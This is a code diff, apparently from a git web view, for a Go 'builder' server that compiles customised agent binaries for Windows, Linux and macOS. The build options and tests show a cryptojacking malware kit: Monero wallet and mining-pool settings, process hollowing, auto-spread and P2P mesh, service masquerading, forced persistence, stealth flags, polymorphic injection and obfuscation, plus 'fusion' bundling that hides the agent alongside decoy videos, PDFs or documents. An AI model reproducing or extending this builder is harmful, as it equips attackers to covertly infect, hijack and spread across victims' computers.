if s := strings.TrimSpace(req.FusionExportSubdir); s != "" {
|
||||
return sanitizeDirName(s)
|
||||
|
||||
@@ -56,12 +56,37 @@ func TestSaveUploadedFusionPayloadCreatesPrepsDir(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
// Fusion now accepts any file with an extension (.txt, .pdf, .mp4, .docx, etc.)
|
||||
// Only files with no extension at all are rejected.
|
||||
func TestSaveUploadedFusionPayloadAcceptsAnyExtension(t *testing.T) {
|
||||
for _, fname := range []string{"report.pdf", "clip.mp4", "doc.docx", "data.txt", "archive.zip"} {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="`+fname+`"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
r := multipart.NewReader(body, w.Boundary())
|
||||
form, _ := r.ReadForm(10 << 20)
|
||||
f, _ := form.File["prep_exe"][0].Open()
|
||||
_, cleanup, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
f.Close()
|
||||
if err != nil {
|
||||
t.Errorf("expected %s to be accepted, got error: %v", fname, err)
|
||||
} else {
|
||||
cleanup()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestSaveUploadedFusionPayloadRejectsNoExtension(t *testing.T) {
|
||||
h := &Handler{dataDir: t.TempDir()}
|
||||
body := &bytes.Buffer{}
|
||||
w := multipart.NewWriter(body)
|
||||
partHeader := make(textproto.MIMEHeader)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="bad.txt"`)
|
||||
partHeader.Set("Content-Disposition", `form-data; name="prep_exe"; filename="noextension"`)
|
||||
part, _ := w.CreatePart(partHeader)
|
||||
_, _ = part.Write([]byte("x"))
|
||||
w.Close()
|
||||
@@ -71,6 +96,6 @@ func TestSaveUploadedFusionPayloadRejectsBadExt(t *testing.T) {
|
||||
defer f.Close()
|
||||
_, _, err := h.saveUploadedFusionPayload(f, form.File["prep_exe"][0])
|
||||
if err == nil {
|
||||
t.Fatal("expected error for .txt upload")
|
||||
t.Fatal("expected error for file with no extension")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -70,6 +70,11 @@ type BuildRequest struct {
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
TargetOS string `json:"target_os"`
|
||||
TargetArch string `json:"target_arch"`
|
||||
SpreadKit bool `json:"spread_kit"`
|
||||
Obfuscate bool `json:"obfuscate"`
|
||||
SignBuild bool `json:"sign_build"`
|
||||
}
|
||||
@@ -217,14 +222,11 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
if req.FusionEnabled && prepPath == "" {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"})
|
||||
return
|
||||
}
|
||||
|
||||
if req.FusionEnabled && req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
|
||||
// FusionOutputName will be derived from the payload filename if not set
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
writeJSON(w, status, resp)
|
||||
@@ -381,6 +383,10 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||||
return h.buildUniversalAgent(req, prepPath)
|
||||
}
|
||||
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
@@ -398,34 +404,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
if req.FusionEnabled {
|
||||
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
|
||||
|
||||
ldflags := "-s -w"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
platforms := platformsForRequest(req)
|
||||
p := platforms[0]
|
||||
outputPath, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProject(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated); err != nil {
|
||||
log.Printf("Build failed: %v", err)
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != "" && p.GOOS == "windows"
|
||||
workerName := filepath.Base(outputPath)
|
||||
finalPath := outputPath
|
||||
finalName := workerName
|
||||
var fusionEnabled bool
|
||||
@@ -473,13 +461,16 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
if exportLabel == "" {
|
||||
exportLabel = filepath.Base(prepPath)
|
||||
}
|
||||
if req.FusionPayloadKind != "video" {
|
||||
exportLabel = strings.TrimSuffix(finalName, filepath.Ext(finalName))
|
||||
}
|
||||
arts := map[string]string{finalName: finalPath}
|
||||
for _, ex := range extraArtifacts {
|
||||
arts[ex.FileName] = ex.FilePath
|
||||
}
|
||||
// In paired mode the runner looks for the payload file next to (or above) the binary.
|
||||
// Include it in the deliverable so the ZIP is self-contained without needing the
|
||||
// user to place the file themselves.
|
||||
if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" {
|
||||
arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath
|
||||
}
|
||||
subdir := fusionExportSubdir(req, exportLabel)
|
||||
readme := fusionReadmeInfo{
|
||||
Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)),
|
||||
@@ -567,6 +558,12 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||||
}
|
||||
|
||||
// Normalise platform tag for easy lookup by /get endpoint
|
||||
recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if recordPlatform == "" {
|
||||
recordPlatform = "windows"
|
||||
}
|
||||
|
||||
buildRecord := &models.BuildRecord{
|
||||
ID: buildID,
|
||||
WorkerName: req.WorkerName,
|
||||
@@ -574,7 +571,9 @@ func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse,
|
||||
Wallet: req.Wallet,
|
||||
Threads: req.Threads,
|
||||
FileSize: fileInfo.Size(),
|
||||
BundleSize: bundleSize,
|
||||
FilePath: absPath,
|
||||
Platform: recordPlatform,
|
||||
CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost,
|
||||
PoolPort: req.PoolPort,
|
||||
@@ -789,6 +788,18 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.AIModel = "llama3.2"
|
||||
}
|
||||
}
|
||||
if strings.TrimSpace(req.TargetOS) == "" {
|
||||
req.TargetOS = "windows"
|
||||
}
|
||||
if req.SpreadKit {
|
||||
req.FusionEnabled = false
|
||||
req.TargetOS = "universal"
|
||||
if req.RunAs == "" || req.RunAs == "user" {
|
||||
req.RunAs = "scheduled"
|
||||
}
|
||||
req.Persistence = true
|
||||
req.AutoStart = true
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -807,7 +818,7 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
return "", nil, fmt.Errorf("fusion upload filename is invalid")
|
||||
}
|
||||
if !isFusionPayloadExt(baseName) {
|
||||
return "", nil, fmt.Errorf("fusion upload must be .exe, .mp4, .mkv, or .mov")
|
||||
return "", nil, fmt.Errorf("fusion upload has no recognisable file extension")
|
||||
}
|
||||
|
||||
prepRoot := filepath.Join(h.dataDir, "preps")
|
||||
@@ -842,13 +853,11 @@ func (h *Handler) saveUploadedFusionPayload(file multipart.File, header *multipa
|
||||
return dest, cleanup, nil
|
||||
}
|
||||
|
||||
// isFusionPayloadExt accepts any file with a non-empty extension.
|
||||
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
|
||||
func isFusionPayloadExt(name string) bool {
|
||||
switch strings.ToLower(filepath.Ext(name)) {
|
||||
case ".exe", ".mp4", ".mkv", ".mov":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
return ext != "" && ext != "."
|
||||
}
|
||||
|
||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
BackupServerURLs: %s,
|
||||
Wallet: %q,
|
||||
Threads: %d,
|
||||
ThreadMode: %q,
|
||||
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: %v,
|
||||
MeshP2P: %v,
|
||||
AutoSpread: %v,
|
||||
HolePunch: %v,
|
||||
RemoteAggressive: %v,
|
||||
BackupServerURLs: %s,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
req.WorkerName,
|
||||
req.ServerURL,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
req.Wallet,
|
||||
req.Threads,
|
||||
req.ThreadMode,
|
||||
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ProcessHollowing,
|
||||
req.MeshP2P,
|
||||
req.AutoSpread,
|
||||
req.HolePunch,
|
||||
req.RemoteAggressive,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
|
||||
75
server/internal/builder/platform.go
Normal file
75
server/internal/builder/platform.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package builder
|
||||
|
||||
import "strings"
|
||||
|
||||
// BuildPlatform identifies a GOOS/GOARCH compile target.
|
||||
type BuildPlatform struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Ext string
|
||||
}
|
||||
|
||||
func (p BuildPlatform) Label() string {
|
||||
return p.GOOS + "-" + p.GOARCH
|
||||
}
|
||||
|
||||
func (p BuildPlatform) BinDir() string {
|
||||
return "bin/" + p.Label()
|
||||
}
|
||||
|
||||
var defaultPlatforms = []BuildPlatform{
|
||||
{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
|
||||
{GOOS: "linux", GOARCH: "amd64", Ext: ""},
|
||||
{GOOS: "linux", GOARCH: "arm64", Ext: ""},
|
||||
{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
|
||||
{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
|
||||
}
|
||||
|
||||
func platformsForRequest(req *BuildRequest) []BuildPlatform {
|
||||
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if target == "" || target == "windows" {
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
}
|
||||
if target == "linux" {
|
||||
arch := req.TargetArch
|
||||
if arch == "" {
|
||||
arch = "amd64"
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
|
||||
}
|
||||
if target == "darwin" {
|
||||
arch := req.TargetArch
|
||||
if arch == "" {
|
||||
arch = "arm64"
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
|
||||
}
|
||||
if target == "universal" {
|
||||
if req.TargetArch != "" && req.TargetArch != "all" {
|
||||
for _, p := range defaultPlatforms {
|
||||
if p.GOARCH == req.TargetArch {
|
||||
return []BuildPlatform{p}
|
||||
}
|
||||
}
|
||||
}
|
||||
return append([]BuildPlatform{}, defaultPlatforms...)
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
}
|
||||
|
||||
func workerFileName(worker string, p BuildPlatform, fusion bool) string {
|
||||
base := sanitizeFileName(worker)
|
||||
if fusion {
|
||||
return "worker-" + base + p.Ext
|
||||
}
|
||||
return "install-" + base + p.Ext
|
||||
}
|
||||
|
||||
func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
|
||||
ldflags := "-s -w"
|
||||
gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
|
||||
if p.GOOS == "windows" && gui {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
return ldflags
|
||||
}
|
||||
77
server/internal/builder/platform_test.go
Normal file
77
server/internal/builder/platform_test.go
Normal file
@@ -0,0 +1,77 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: ""}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != 1 || ps[0].GOOS != "windows" {
|
||||
t.Fatalf("expected single windows platform, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestLinux(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||
t.Fatalf("expected linux/arm64, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestUniversal(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: "universal"}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != len(defaultPlatforms) {
|
||||
t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
|
||||
}
|
||||
if len(ps) < 5 {
|
||||
t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
|
||||
}
|
||||
}
|
||||
|
||||
// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
|
||||
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
|
||||
func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "test",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "4TEST",
|
||||
Threads: 4,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 75,
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolPass: "x",
|
||||
RunAs: "scheduled",
|
||||
InstallBase: "localappdata",
|
||||
}
|
||||
src := h.generateBuiltinConfig("test-build-id", req)
|
||||
fset := token.NewFileSet()
|
||||
if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
|
||||
t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
|
||||
}
|
||||
if !strings.Contains(src, "ServiceMasquerade") {
|
||||
t.Error("expected ServiceMasquerade field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "BackupServerURLs") {
|
||||
t.Error("expected BackupServerURLs field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLdflagsForWindowsGUI(t *testing.T) {
|
||||
req := &BuildRequest{StealthMode: true}
|
||||
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
if !strings.Contains(ld, "windowsgui") {
|
||||
t.Fatalf("expected windowsgui in ldflags, got %q", ld)
|
||||
}
|
||||
ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
|
||||
if strings.Contains(ldLinux, "windowsgui") {
|
||||
t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user